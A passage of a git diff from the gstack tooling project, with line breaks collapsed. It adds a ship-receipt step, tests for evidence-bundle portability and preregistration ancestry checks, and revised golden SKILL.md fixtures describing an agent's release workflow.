@@ rm -f "$BODY_TOP_FILE" "$BODY_REST_FILE"echo "PR_BODY_FILE: $PR_BODY_FILE"```+Handoff record first (identifiers survive truncation). Write Step 16 stage 4's+per-lane counts (`{"<lane>":{"pass":N,"fail":N,"skip":N}}`) to+`.gstack/tmp/ship-gate.json` with your file-write tool, then:++```bash+~/.claude/skills/gstack/bin/gstack-ship-receipt write --pr <pr-number> --base <base> --gate @.gstack/tmp/ship-gate.json --body "$PR_BODY_FILE"+```++Add `--receipt .gstack/tmp/tree-receipt.json` only when Step 16 wrote it (gate-ahead).+New PR/MR: omit `--pr`, then rerun with the number after creation and repost the body.+Its `SHIP_RECEIPT:` line opens the completion message. `RECEIPT_INVALID` names the bad+field: fix that input file and rerun; nothing was written.+In each block below, restore the literal `PR_BODY_FILE` path and substitute Step 18'stitle file name; `gstack-post` detects GitHub or GitLab from the remote and the repo'svisibility (an unavailable lookup, including on GitLab, uses the scanner'sdiff --git a/ship/sections/pr-body.md.tmpl b/ship/sections/pr-body.md.tmplindex 82af37657..b9acdc969 100644--- a/ship/sections/pr-body.md.tmpl+++ b/ship/sections/pr-body.md.tmpl@@ -162,6 +162,19 @@ rm -f "$BODY_TOP_FILE" "$BODY_REST_FILE"echo "PR_BODY_FILE: $PR_BODY_FILE"```+Handoff record first (identifiers survive truncation). Write Step 16 stage 4's+per-lane counts (`{"<lane>":{"pass":N,"fail":N,"skip":N}}`) to+`.gstack/tmp/ship-gate.json` with your file-write tool, then:++```bash+~/.claude/skills/gstack/bin/gstack-ship-receipt write --pr <pr-number> --base <base> --gate @.gstack/tmp/ship-gate.json --body "$PR_BODY_FILE"+```++Add `--receipt .gstack/tmp/tree-receipt.json` only when Step 16 wrote it (gate-ahead).+New PR/MR: omit `--pr`, then rerun with the number after creation and repost the body.+Its `SHIP_RECEIPT:` line opens the completion message. `RECEIPT_INVALID` names the bad+field: fix that input file and rerun; nothing was written.+In each block below, restore the literal `PR_BODY_FILE` path and substitute Step 18'stitle file name; `gstack-post` detects GitHub or GitLab from the remote and the repo'svisibility (an unavailable lookup, including on GitLab, uses the scanner'sdiff --git a/test/evidence-bundle-portability.test.ts b/test/evidence-bundle-portability.test.tsnew file mode 100644index 000000000..05dc05190--- /dev/null+++ b/test/evidence-bundle-portability.test.ts@@ -0,0 +1,172 @@+/**+ * C3: `gstack-evidence bundle` is the portable form of the machine-local+ * evidence ledger. A fresh coordinator clone with an empty state root reads+ * the bundle without the gate VM; imported assertions stay distinct from+ * verified lanes; a bundle without an execution identity refuses reuse.+ * C7: `gstack-evidence ancestor` checks preregistration shas against HEAD.+ */+import { afterEach, describe, expect, test } from 'bun:test';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT } from '../lib/headless-artifacts';+import { gitArgvIn } from './helpers/scratch-repo';+import { BASE_POLICY, cleanup, makeFixtureRepo, makePr, recordAndBundle, restamp, runBin, type FixtureRepo } from './helpers/restamp-fixture';++const repos: FixtureRepo[] = [];+const fixture = (opts?: Parameters<typeof makeFixtureRepo>[0]) => { const r = makeFixtureRepo({ prefix: 'bundle-', ...opts }); repos.push(r); return r; };+afterEach(() => { while (repos.length) cleanup(repos.pop()!); });++function gatedAndPushed(repo: FixtureRepo): { head: string; bundle: string } {+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ expect(restamp(repo, ['--version', '1.2.4.0']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp 1.2.4.0');+ repo.git('push', '-q', '-u', 'origin', 'pr-a');+ const bundle = path.join(repo.root, 'bundle.json');+ recordAndBundle(repo, repo.work, [{ label: 'tests', command: 'true' }], bundle);+ return { head: repo.git('rev-parse', 'HEAD'), bundle };+}++describe('evidence bundle portability', () => {+ test('a fresh clone with an empty state root reads the bundle and reaches the same eligible verdict', () => {+ const repo = fixture();+ const g = gatedAndPushed(repo);+ const bundle = JSON.parse(fs.readFileSync(g.bundle, 'utf8'));+ expect(bundle).toMatchObject({ schema_version: 1, kind: 'gstack-evidence-bundle', repo: { commit: g.head, dirty: false }, required_lanes: ['tests'] });+ expect(bundle.lanes[0]).toMatchObject({ label: 'tests', verified: true, exit: 0 });+ expect(bundle.lanes[0].cmd_sha256).toMatch(/^[0-9a-f]{64}$/);+ expect(bundle.comparison).toMatchObject({ version_rel: 'VERSION', version: '1.2.4.0', changelog: 'CHANGELOG.md', stamp_paths: ['docs/**/*.md'], release_outputs: ['generated/**'] });+ expect(bundle.identity.runtime.bun).toBeTruthy();++ const fresh = path.join(repo.root, 'coordinator');+ const home = path.join(repo.root, 'coordinator-home');+ fs.mkdirSync(home, { recursive: true });+ const clone = gitArgvIn(repo.root, ['clone', '-q', path.join(repo.root, 'origin.git'), fresh], 60_000, { ...process.env, ...repo.env });+ expect(clone.status).toBe(0);+ gitArgvIn(fresh, ['checkout', '-q', 'pr-a'], 30_000, { ...process.env, ...repo.env });+ const env = { GSTACK_HOME: home, GSTACK_STATE_DIR: home, HOME: home };+ const r = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', g.head, '--bundle', g.bundle], env, fresh);+ expect(r.status).toBe(EXIT.ok);+ expect(r.out).toMatch(/^TREE: same-modulo-stamps$/m);+ expect(r.out).toMatch(/^gate-reuse: eligible \(reusable: tests; rerun: -\)$/m);+ expect(fs.existsSync(path.join(home, '.gstack'))).toBe(false);+ expect(fs.existsSync(path.join(home, 'evidence'))).toBe(false);+ });++ test('imported assertions are listed apart from verified lanes and never make the gate reusable', () => {+ const repo = fixture();+ makePr(repo, 'pr-a', { expects: '1.2.4.0' });+ expect(restamp(repo, ['--version', '1.2.4.0']).status).toBe(EXIT.ok);+ repo.git('commit', '-qam', 'stamp 1.2.4.0');+ expect(runBin(repo, 'gstack-evidence', ['run', '--label', 'tests', '--', 'true']).status).toBe(0);+ const imported = path.join(repo.root, 'ci.json');+ fs.writeFileSync(imported, JSON.stringify([{ label: 'e2e', command: 'bun run test:e2e', exit: 0, source: 'github-actions run 42', run_url: 'https://ci.example/runs/42' }]));+ const out = path.join(repo.root, 'bundle.json');+ const b = runBin(repo, 'gstack-evidence', ['bundle', '--out', out, '--base', 'main', '--label', 'tests', '--require', 'tests,e2e', '--selection', 'tests=unit shard 1/1', '--import', imported]);+ expect(b.status).toBe(0);+ expect(b.out).toMatch(/^EVIDENCE_BUNDLE: .*bundle\.json tree=[0-9a-f]{40} lanes=1 verified=1 imported=1$/m);+ const bundle = JSON.parse(fs.readFileSync(out, 'utf8'));+ expect(bundle.lanes[0]).toMatchObject({ label: 'tests', verified: true, selection: 'unit shard 1/1' });+ expect(bundle.imported[0]).toMatchObject({ label: 'e2e', verified: false, run_url: 'https://ci.example/runs/42' });+ expect(bundle.imported[0].reason).toBe('imported assertion from github-actions run 42; not independently verified');+ const r = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', 'HEAD', '--bundle', out]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^ gate tests: reusable/m);+ expect(r.out).toMatch(/^ gate e2e: not-reusable \(required lane has no verified record in the bundle\)$/m);+ expect(r.out).toMatch(/^ gate e2e: not-reusable \(imported assertion from github-actions run 42; not independently verified\)$/m);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(e2e: required lane has no verified record in the bundle; e2e: imported assertion/m);+ });++ test('a lane recorded on a dirty tree or another commit is in the bundle but not verified', () => {+ const repo = fixture();+ makePr(repo, 'pr-a');+ expect(runBin(repo, 'gstack-evidence', ['run', '--label', 'old', '--', 'true']).status).toBe(0);+ fs.writeFileSync(path.join(repo.work, 'more.txt'), 'more\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'more');+ fs.writeFileSync(path.join(repo.work, 'more.txt'), 'dirty\n');+ expect(runBin(repo, 'gstack-evidence', ['run', '--label', 'dirty', '--', 'true']).status).toBe(0);+ repo.git('checkout', '--', 'more.txt');+ const out = path.join(repo.root, 'bundle.json');+ const b = runBin(repo, 'gstack-evidence', ['bundle', '--out', out, '--base', 'main', '--label', 'old', '--label', 'dirty', '--label', 'absent']);+ expect(b.status).toBe(1);+ expect(b.err).toMatch(/no ledger record for label absent.*\(EVIDENCE_IDENTITY_UNKNOWN\)/);+ expect(b.out).toMatch(/^EVIDENCE_BUNDLE: .* lanes=2 verified=0 imported=0$/m);+ const bundle = JSON.parse(fs.readFileSync(out, 'utf8'));+ expect(bundle.lanes.map((l: any) => [l.label, l.verified])).toEqual([['old', false], ['dirty', false]]);+ expect(bundle.lanes[0].reason).toMatch(/^ran on [0-9a-f]{12}, HEAD is [0-9a-f]{12}$/);+ expect(bundle.lanes[1].reason).toBe('ran on a dirty or unfingerprinted tree (committed heads only)');+ const r = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', 'HEAD', '--bundle', out]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(old: ran on .*; dirty: ran on a dirty/m);+ });++ test('a bundle without an execution identity, or that is not a bundle, refuses reuse (EVIDENCE_BUNDLE_INVALID)', () => {+ const repo = fixture();+ const g = gatedAndPushed(repo);+ const stripped = path.join(repo.root, 'no-identity.json');+ const bundle = JSON.parse(fs.readFileSync(g.bundle, 'utf8'));+ delete bundle.identity;+ fs.writeFileSync(stripped, JSON.stringify(bundle));+ const r = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', g.head, '--bundle', stripped]);+ expect(r.status).toBe(EXIT.fail);+ expect(r.out).toMatch(/^gate-reuse: not-eligible \(invalid bundle: .*no-identity\.json is not a gstack-evidence-bundle v1\)/m);+ const garbage = path.join(repo.root, 'garbage.json');+ fs.writeFileSync(garbage, '{not json');+ const g2 = runBin(repo, 'gstack-tree-receipt', ['--base', 'main', '--gated', g.head, '--bundle', garbage]);+ expect(g2.status).toBe(EXIT.fail);+ expect(g2.out).toMatch(/^gate-reuse: not-eligible \(invalid bundle: .*garbage\.json: /m);+ });++ test('bundle needs a committed head and --out', () => {+ const repo = fixture();+ expect(runBin(repo, 'gstack-evidence', ['bundle']).status).toBe(2);+ const nowhere = path.join(repo.root, 'not-a-repo');+ fs.mkdirSync(nowhere);+ const r = runBin(repo, 'gstack-evidence', ['bundle', '--out', path.join(nowhere, 'b.json')], {}, nowhere);+ expect(r.status).not.toBe(0);+ });+});++describe('gstack-evidence ancestor (C7)', () => {+ test('each preregistration sha is checked against HEAD; a missing or unrelated one fails with PREREGISTRATION_NOT_ANCESTOR', () => {+ const repo = fixture();+ const base = repo.git('rev-parse', 'HEAD');+ makePr(repo, 'pr-a');+ const head = repo.git('rev-parse', 'HEAD');+ repo.git('checkout', '-q', '-b', 'stray', 'origin/main');+ fs.writeFileSync(path.join(repo.work, 'stray.txt'), 'stray\n');+ repo.git('add', '-A'); repo.git('commit', '-q', '-m', 'stray');+ const stray = repo.git('rev-parse', 'HEAD');+ repo.git('checkout', '-q', 'pr-a');+ const ok = runBin(repo, 'gstack-evidence', ['ancestor', base, head.slice(0, 12)]);+ expect(ok.status).toBe(0);+ expect(ok.out).toMatch(new RegExp(`^ANCESTOR: ok ${base} \\(ancestor of HEAD\\)$`, 'm'));+ expect(ok.out).toMatch(new RegExp(`^ANCESTOR: ok ${head.slice(0, 12)} \\(ancestor of HEAD\\)$`, 'm'));+ const bad = runBin(repo, 'gstack-evidence', ['ancestor', stray, 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeef', 'nothex']);+ expect(bad.status).toBe(1);+ expect(bad.out).toMatch(new RegExp(`^ANCESTOR: missing ${stray} \\(not an ancestor of HEAD\\) — fix: .* \\(PREREGISTRATION_NOT_ANCESTOR\\)$`, 'm'));+ expect(bad.out).toMatch(/^ANCESTOR: missing deadbeef.* \(unknown commit \(fetch it first\)\)/m);+ expect(bad.out).toMatch(/^ANCESTOR: missing nothex \(not a hex commit id\)/m);+ });++ test('--from-policy reads preregistration_shas from the base branch copy; none means no check', () => {+ const none = fixture();+ makePr(none, 'pr-a');+ const n = runBin(none, 'gstack-evidence', ['ancestor', '--from-policy', '--base', 'main']);+ expect(n.status).toBe(0);+ expect(n.out).toBe('ANCESTOR: none (no preregistration_shas)\n');++ const seeded = fixture();+ const base = seeded.git('rev-parse', 'HEAD');+ fs.writeFileSync(path.join(seeded.work, '.gstack', 'ship-policy.json'), JSON.stringify({ ...BASE_POLICY, preregistration_shas: [base] }, null, 2) + '\n');+ seeded.git('add', '-A'); seeded.git('commit', '-q', '-m', 'preregister'); seeded.git('push', '-q', 'origin', 'main');+ makePr(seeded, 'pr-a');+ const r = runBin(seeded, 'gstack-evidence', ['ancestor', '--from-policy', '--base', 'main']);+ expect(r.status).toBe(0);+ expect(r.out).toMatch(new RegExp(`^ANCESTOR: ok ${base} \\(ancestor of HEAD\\)$`, 'm'));+ seeded.git('checkout', '-q', '--orphan', 'rewritten');+ seeded.git('commit', '-q', '-m', 'orphan history');+ const o = runBin(seeded, 'gstack-evidence', ['ancestor', '--from-policy', '--base', 'main']);+ expect(o.status).toBe(1);+ expect(o.out).toMatch(/PREREGISTRATION_NOT_ANCESTOR/);+ });+});diff --git a/test/fixtures/golden/agy-ship-SKILL.md b/test/fixtures/golden/agy-ship-SKILL.mdindex c2529a8f5..9b9b64ef2 100644--- a/test/fixtures/golden/agy-ship-SKILL.md+++ b/test/fixtures/golden/agy-ship-SKILL.md@@ -708,13 +708,15 @@ Merge the base ref fetched in Step 1 so tests and reviews cover the integrated cgit merge origin/<base> --no-edit```-**If there are merge conflicts:** Try to auto-resolve if they are simple (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the needed resolution decision, and wait for the answer before editing or continuing.+**If there are merge conflicts:** Auto-resolve simple ones (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the resolution decision, and wait for the answer before editing or continuing.**If already up to date:** Continue silently.+**Ship policy:** `~/.gemini/antigravity-cli/skills/gstack/bin/gstack-ship-policy show-effective --base <base>`+(docs/ship-policy.md); its `ship:` lines bind Steps 12, 16 and history.+If integration changes the artifact or distribution configuration inspected in Step 2,-repeat Step 2 on the merged content, including its decisions, then continue to Step 4.-Otherwise continue to Step 4 directly.+repeat Step 2 (decisions included) on the merged content, then Step 4.---@@ -763,6 +765,8 @@ Otherwise continue to Step 4 directly.Item 3 needs `BUMP_LEVEL`: reuse this invocation's saved level. Otherwise FRESHchooses it in item 2 and ALREADY_BUMPED derives it in item 1.+`ship: queue_mode stamp-at-merge` replaces items 1–4.+1. **Classify state** — pure reader, never writes:```bashbun run ~/.gemini/antigravity-cli/skills/gstack/bin/gstack-version-bump classify --base <base>@@ -785,9 +789,10 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.unreadable or malformed. Fix it or its pin, then reclassify. Never substitute `0.0.0.0`.2. **Decide the bump level** from the diff (agent judgment):- - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signals.+ - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signal.- **MINOR**: ask for any feature signal (new route/page, migration, module) or 500+ lines.- **MAJOR**: ask for milestones or breaking changes. Use AskUserQuestion: recommended+ **MAJOR**: ask for milestones or breaking changes (`ship: bump patch` never asks).+ Use AskUserQuestion: recommendedlevel with rationale, smaller level, or cancel. Wait; cancel stops before releasewrites or push and preserves existing work.Save lowercase `BUMP_LEVEL`. A claimed version may move the next available number@@ -817,23 +822,22 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.bun run ~/.gemini/antigravity-cli/skills/gstack/bin/gstack-version-bump write --version "$NEW_VERSION" --regen-digest```The CLI validates `MAJOR.MINOR.PATCH.MICRO` (or pinned 3-digit semver) and writes- VERSION, the manifest and existing `package-lock.json` / `npm-shrinkwrap.json`;- it never creates lockfiles. Manifest path: `--package-json-path` →- `.gstack/package-json-path` → `./package.json`. npm files use the 3-digit translation- (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 means a half-write:+ VERSION, the manifest (`--package-json-path` → `.gstack/package-json-path` →+ `./package.json`) and existing npm lockfiles, never creating one, with the 3-digit+ translation (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 is a half-write:reclassify and `repair` DRIFT_STALE_PKG.- `--regen-digest` runs repo code with Step 5's privileges: `scripts/gen-agents-digest.ts`,- only when it and committed `agents-digest/gstack-AGENTS.md` exist. If `agentsDigest`- is false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump.- Before push, verify the committed digest matches generation for the selected VERSION.+ `--regen-digest` runs repo code (`scripts/gen-agents-digest.ts`) with Step 5's privileges+ only when it and committed `agents-digest/gstack-AGENTS.md` exist; if `agentsDigest` is+ false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump. Before+ push, verify the committed digest matches generation for the selected VERSION.-5. **Record the release decision after a version was actually written**, including+5. **Record the release decision after a version was written**, includingan approved ALREADY_BUMPED rebump. Skip unchanged versions and manifest-only repairs.```bash~/.gemini/antigravity-cli/skills/gstack/bin/gstack-decision-log '{"decision":"Ship NEW_VERSION (BUMP_LEVEL)","rationale":"WHY","scope":"repo","source":"skill","confidence":9}' 2>/dev/null || true```- Substitute `NEW_VERSION`, `BUMP_LEVEL`, and one-line `WHY` (scope or breaking-change signal). Best-effort, non-interactive, non-blocking.+ Substitute `NEW_VERSION`, `BUMP_LEVEL` and a one-line `WHY` (scope or breaking-change signal); best-effort, non-blocking.> **STOP.** Before writing the CHANGELOG entry (Step 13), Read `sections/changelog.md` relative to the installed `gstack-ship` SKILL.md directory and execute it> in full. Do not work from memory — that section is the source of truth for this step.@@ -906,15 +910,15 @@ EOF**IRON LAW: NO COMPLETION CLAIMS WITHOUT FRESH VERIFICATION EVIDENCE.**-Run stages 1–5 in order. Recovery instructions below name where to resume.-If content changes during or after verification, restart at stage 1 and complete-all five stages before Step 17. Content-preserving commits keep valid evidence.+Run stages 1–5 in order; recovery notes below name where to resume. Content+changes during or after verification restart at stage 1 and complete all five+stages before Step 17. Content-preserving commits keep valid evidence.### 1. Finish writers and prepare outputs-Inspect writer handles, including the docs child. Confirm terminal completion or termination-before another writer runs. Timeout or cancellation acknowledgment alone means-STOP until confirmed.+Inspect writer handles, including the docs child. Confirm terminal completion or+termination before another writer runs; timeout or cancellation acknowledgment+alone means STOP until confirmed.Find declared generation/build commands in project instructions, manifests, buildfiles and CI. Run them and save results. If none exists, record not applicable and@@ -977,10 +981,9 @@ checks; report unavailable checks.**Reuse a check when its inputs match.** Compare hashes or complete bytes of itssaved and current consumed files, fixtures, dependencies and execution parameters.-Explain why other changes cannot affect it; changed or unknown dependencies require a rerun.-For model judges, compare the complete expanded request, rubric, parameters and-builder/runtime dependencies. Reuse identical passing evidence: cite the original-command, result/counts, timestamp and log, never resample it. Mandatory reviews still run.+Changed or unknown dependencies require a rerun. For model judges, compare the complete+expanded request, rubric, parameters and builder/runtime dependencies. Cite the original+command, result/counts, timestamp and log, never resample. Mandatory reviews still run.**Check each test lane's receipt as well.** Use its actual Step 5 label/command:`--label <lane> --expect-cmd '<exact Step 5 command>'`. Inspect changes since the run;diff --git a/test/fixtures/golden/claude-ship-SKILL.md b/test/fixtures/golden/claude-ship-SKILL.mdindex 82547fca2..3b24c42a6 100644--- a/test/fixtures/golden/claude-ship-SKILL.md+++ b/test/fixtures/golden/claude-ship-SKILL.md@@ -713,13 +713,15 @@ Merge the base ref fetched in Step 1 so tests and reviews cover the integrated cgit merge origin/<base> --no-edit```-**If there are merge conflicts:** Try to auto-resolve if they are simple (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the needed resolution decision, and wait for the answer before editing or continuing.+**If there are merge conflicts:** Auto-resolve simple ones (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the resolution decision, and wait for the answer before editing or continuing.**If already up to date:** Continue silently.+**Ship policy:** `~/.claude/skills/gstack/bin/gstack-ship-policy show-effective --base <base>`+(docs/ship-policy.md); its `ship:` lines bind Steps 12, 16 and history.+If integration changes the artifact or distribution configuration inspected in Step 2,-repeat Step 2 on the merged content, including its decisions, then continue to Step 4.-Otherwise continue to Step 4 directly.+repeat Step 2 (decisions included) on the merged content, then Step 4.---@@ -768,6 +770,8 @@ Otherwise continue to Step 4 directly.Item 3 needs `BUMP_LEVEL`: reuse this invocation's saved level. Otherwise FRESHchooses it in item 2 and ALREADY_BUMPED derives it in item 1.+`ship: queue_mode stamp-at-merge` replaces items 1–4.+1. **Classify state** — pure reader, never writes:```bashbun run ~/.claude/skills/gstack/bin/gstack-version-bump classify --base <base>@@ -790,9 +794,10 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.unreadable or malformed. Fix it or its pin, then reclassify. Never substitute `0.0.0.0`.2. **Decide the bump level** from the diff (agent judgment):- - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signals.+ - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signal.- **MINOR**: ask for any feature signal (new route/page, migration, module) or 500+ lines.- **MAJOR**: ask for milestones or breaking changes. Use AskUserQuestion: recommended+ **MAJOR**: ask for milestones or breaking changes (`ship: bump patch` never asks).+ Use AskUserQuestion: recommendedlevel with rationale, smaller level, or cancel. Wait; cancel stops before releasewrites or push and preserves existing work.Save lowercase `BUMP_LEVEL`. A claimed version may move the next available number@@ -822,23 +827,22 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.bun run ~/.claude/skills/gstack/bin/gstack-version-bump write --version "$NEW_VERSION" --regen-digest```The CLI validates `MAJOR.MINOR.PATCH.MICRO` (or pinned 3-digit semver) and writes- VERSION, the manifest and existing `package-lock.json` / `npm-shrinkwrap.json`;- it never creates lockfiles. Manifest path: `--package-json-path` →- `.gstack/package-json-path` → `./package.json`. npm files use the 3-digit translation- (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 means a half-write:+ VERSION, the manifest (`--package-json-path` → `.gstack/package-json-path` →+ `./package.json`) and existing npm lockfiles, never creating one, with the 3-digit+ translation (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 is a half-write:reclassify and `repair` DRIFT_STALE_PKG.- `--regen-digest` runs repo code with Step 5's privileges: `scripts/gen-agents-digest.ts`,- only when it and committed `agents-digest/gstack-AGENTS.md` exist. If `agentsDigest`- is false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump.- Before push, verify the committed digest matches generation for the selected VERSION.+ `--regen-digest` runs repo code (`scripts/gen-agents-digest.ts`) with Step 5's privileges+ only when it and committed `agents-digest/gstack-AGENTS.md` exist; if `agentsDigest` is+ false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump. Before+ push, verify the committed digest matches generation for the selected VERSION.-5. **Record the release decision after a version was actually written**, including+5. **Record the release decision after a version was written**, includingan approved ALREADY_BUMPED rebump. Skip unchanged versions and manifest-only repairs.```bash~/.claude/skills/gstack/bin/gstack-decision-log '{"decision":"Ship NEW_VERSION (BUMP_LEVEL)","rationale":"WHY","scope":"repo","source":"skill","confidence":9}' 2>/dev/null || true```- Substitute `NEW_VERSION`, `BUMP_LEVEL`, and one-line `WHY` (scope or breaking-change signal). Best-effort, non-interactive, non-blocking.+ Substitute `NEW_VERSION`, `BUMP_LEVEL` and a one-line `WHY` (scope or breaking-change signal); best-effort, non-blocking.> **STOP.** Before writing the CHANGELOG entry (Step 13), Read `~/.claude/skills/gstack/ship/sections/changelog.md` and execute it> in full. Do not work from memory — that section is the source of truth for this step.@@ -911,15 +915,15 @@ EOF**IRON LAW: NO COMPLETION CLAIMS WITHOUT FRESH VERIFICATION EVIDENCE.**-Run stages 1–5 in order. Recovery instructions below name where to resume.-If content changes during or after verification, restart at stage 1 and complete-all five stages before Step 17. Content-preserving commits keep valid evidence.+Run stages 1–5 in order; recovery notes below name where to resume. Content+changes during or after verification restart at stage 1 and complete all five+stages before Step 17. Content-preserving commits keep valid evidence.### 1. Finish writers and prepare outputs-Inspect writer handles, including the docs child. Confirm terminal completion or termination-before another writer runs. Timeout or cancellation acknowledgment alone means-STOP until confirmed.+Inspect writer handles, including the docs child. Confirm terminal completion or+termination before another writer runs; timeout or cancellation acknowledgment+alone means STOP until confirmed.Find declared generation/build commands in project instructions, manifests, buildfiles and CI. Run them and save results. If none exists, record not applicable and@@ -982,10 +986,9 @@ checks; report unavailable checks.**Reuse a check when its inputs match.** Compare hashes or complete bytes of itssaved and current consumed files, fixtures, dependencies and execution parameters.-Explain why other changes cannot affect it; changed or unknown dependencies require a rerun.-For model judges, compare the complete expanded request, rubric, parameters and-builder/runtime dependencies. Reuse identical passing evidence: cite the original-command, result/counts, timestamp and log, never resample it. Mandatory reviews still run.+Changed or unknown dependencies require a rerun. For model judges, compare the complete+expanded request, rubric, parameters and builder/runtime dependencies. Cite the original+command, result/counts, timestamp and log, never resample. Mandatory reviews still run.**Check each test lane's receipt as well.** Use its actual Step 5 label/command:`--label <lane> --expect-cmd '<exact Step 5 command>'`. Inspect changes since the run;diff --git a/test/fixtures/golden/codex-ship-SKILL.md b/test/fixtures/golden/codex-ship-SKILL.mdindex ae3ad519b..1e1daca1a 100644--- a/test/fixtures/golden/codex-ship-SKILL.md+++ b/test/fixtures/golden/codex-ship-SKILL.md@@ -729,13 +729,15 @@ Merge the base ref fetched in Step 1 so tests and reviews cover the integrated cgit merge origin/<base> --no-edit```-**If there are merge conflicts:** Try to auto-resolve if they are simple (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the needed resolution decision, and wait for the answer before editing or continuing.+**If there are merge conflicts:** Auto-resolve simple ones (VERSION, schema.rb, CHANGELOG ordering). For complex or ambiguous conflicts, **STOP**, show the conflicting choices, use AskUserQuestion for the resolution decision, and wait for the answer before editing or continuing.**If already up to date:** Continue silently.+**Ship policy:** `$GSTACK_ROOT/bin/gstack-ship-policy show-effective --base <base>`+(docs/ship-policy.md); its `ship:` lines bind Steps 12, 16 and history.+If integration changes the artifact or distribution configuration inspected in Step 2,-repeat Step 2 on the merged content, including its decisions, then continue to Step 4.-Otherwise continue to Step 4 directly.+repeat Step 2 (decisions included) on the merged content, then Step 4.---@@ -784,6 +786,8 @@ Otherwise continue to Step 4 directly.Item 3 needs `BUMP_LEVEL`: reuse this invocation's saved level. Otherwise FRESHchooses it in item 2 and ALREADY_BUMPED derives it in item 1.+`ship: queue_mode stamp-at-merge` replaces items 1–4.+1. **Classify state** — pure reader, never writes:```bash[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=${CODEX_HOME:-~/.codex}/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}@@ -807,9 +811,10 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.unreadable or malformed. Fix it or its pin, then reclassify. Never substitute `0.0.0.0`.2. **Decide the bump level** from the diff (agent judgment):- - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signals.+ - **MICRO**: <50 lines, trivial tweaks/config. **PATCH**: 50+ lines, no feature signal.- **MINOR**: ask for any feature signal (new route/page, migration, module) or 500+ lines.- **MAJOR**: ask for milestones or breaking changes. Use AskUserQuestion: recommended+ **MAJOR**: ask for milestones or breaking changes (`ship: bump patch` never asks).+ Use AskUserQuestion: recommendedlevel with rationale, smaller level, or cancel. Wait; cancel stops before releasewrites or push and preserves existing work.Save lowercase `BUMP_LEVEL`. A claimed version may move the next available number@@ -841,24 +846,23 @@ chooses it in item 2 and ALREADY_BUMPED derives it in item 1.bun run $GSTACK_ROOT/bin/gstack-version-bump write --version "$NEW_VERSION" --regen-digest```The CLI validates `MAJOR.MINOR.PATCH.MICRO` (or pinned 3-digit semver) and writes- VERSION, the manifest and existing `package-lock.json` / `npm-shrinkwrap.json`;- it never creates lockfiles. Manifest path: `--package-json-path` →- `.gstack/package-json-path` → `./package.json`. npm files use the 3-digit translation- (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 means a half-write:+ VERSION, the manifest (`--package-json-path` → `.gstack/package-json-path` →+ `./package.json`) and existing npm lockfiles, never creating one, with the 3-digit+ translation (`1.67.0.0` → `1.67.0`); VERSION is authoritative. Exit 3 is a half-write:reclassify and `repair` DRIFT_STALE_PKG.- `--regen-digest` runs repo code with Step 5's privileges: `scripts/gen-agents-digest.ts`,- only when it and committed `agents-digest/gstack-AGENTS.md` exist. If `agentsDigest`- is false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump.- Before push, verify the committed digest matches generation for the selected VERSION.+ `--regen-digest` runs repo code (`scripts/gen-agents-digest.ts`) with Step 5's privileges+ only when it and committed `agents-digest/gstack-AGENTS.md` exist; if `agentsDigest` is+ false, run `bun scripts/gen-agents-digest.ts` and stage the digest with the bump. Before+ push, verify the committed digest matches generation for the selected VERSION.-5. **Record the release decision after a version was actually written**, including+5. **Record the release decision after a version was written**, includingan approved ALREADY_BUMPED rebump. Skip unchanged versions and manifest-only repairs.```bash[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=${CODEX_HOME:-~/.codex}/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found 